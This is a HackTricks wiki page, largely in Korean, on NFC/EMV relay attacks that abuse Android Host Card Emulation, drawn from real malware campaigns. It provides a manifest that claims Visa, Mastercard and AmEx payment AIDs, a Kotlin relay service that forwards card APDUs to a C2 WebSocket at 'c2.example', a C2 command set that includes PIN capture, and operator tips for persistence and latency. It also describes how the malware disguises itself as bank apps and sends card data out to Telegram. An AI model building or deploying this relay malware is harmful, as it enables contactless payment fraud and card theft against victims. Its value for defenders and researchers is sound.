Android HCE NFC/EMV Relay Attacks
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
개요
Android Host Card Emulation (HCE)의 악용은 기본 NFC 결제 서비스로 설정된 악성 앱이 EMV 비접촉식 거래를 실시간으로 중계할 수 있게 합니다. POS 단말기는 전화기와 ISO 14443-4/EMV로 통신하고; 앱의 HostApduService는 APDUs를 수신하여 양방향 C2(종종 WebSocket)를 통해 응답을 생성하는 백엔드로 전달하며, 그 응답이 다시 POS로 중계됩니다. 이는 로컬 카드 데이터 없이 실시간 카드 에뮬레이션을 가능하게 합니다. 대규모로 관찰된 캠페인들은 은행/정부 앱으로 가장하여 기본 결제 앱이 되도록 요청하고, 기기/카드 데이터를 Telegram 봇/채널로 자동 탈취합니다.
주요 특징
- Android 구성요소: HostApduService + 기본 NFC 결제 핸들러(카테고리 “payment”)
- 전송/C2: APDU 중계를 위한 WebSocket; 탈취/운영을 위한 Telegram bot API
- 운영자 워크플로우: 구조화된 명령들 (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
- 역할: scanner (EMV 데이터 읽기) vs tapper (HCE/relay) 빌드
최소 구현 구성 요소
Manifest (기본 결제 HCE 서비스가 되기)
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>
<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>
EMV 결제 카테고리의 예제 AID 목록 (기본 결제로 설정된 앱만 이러한 AID에 응답할 수 있음):
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/> <!-- AmEx -->
</aid-group>
</host-apdu-service>
사용자에게 기본 결제 앱을 설정하도록 요청 (OS 설정을 엽니다):
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)
HostApduService 릴레이 스켈레톤
class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null
override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}
override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}
override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}
private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}
유의사항: 백그라운드 서비스는 POS 타임아웃 예산(약 수백 ms) 내에 APDU별로 응답해야 합니다; 저지연 socket을 유지하고 C2와 pre-auth를 유지하세요. 필요하면 포그라운드 서비스를 사용해 프로세스 종료 이후에도 지속시키세요.
일반적인 C2 명령 집합 (관찰됨)
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error
EMV 비접촉 교환 (입문)
The POS drives the flow; the HCE app simply relays APDUs:
- SELECT PPSE (2PAY.SYS.DDF01)
- 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
- SELECT application AID (e.g., VISA A0000000031010)
- 00 A4 04 00 len
00 - GET PROCESSING OPTIONS (GPO)
- 80 A8 00 00 Lc
00 - READ RECORD(S) per AFL
- 00 B2 <SFI/record> 0C 00
- GENERATE AC (ARQC/TC)
- 80 AE 80 00 Lc
00
In a relay, the backend crafts valid FCI/FCP, AFL, records and a cryptogram; the phone only forwards bytes.
실전에서 관찰된 운영자 워크플로우
- Deception + install: app re-skins as bank/gov portal, presents full-screen WebView and immediately requests to become default NFC payment app.
- Event-triggered activation: NFC tap wakes HostApduService; the relay begins.
- Scanner/Tapper roles: one build reads EMV data from a victim card (PAN, exp, tracks, device/EMV fields) and exfiltrates; another build (or the same device later) performs HCE relay to a POS.
- Exfiltration: device/card data is auto-posted to private Telegram channels/bots; WebSocket coordinates sessions and UI prompts (e.g., on-device PIN UI).
References
- Zimperium – Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices
- Android HostApduService
- Android HCE and Card Emulation docs
- Zimperium IOCs – 2025-10-NFCStealer
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


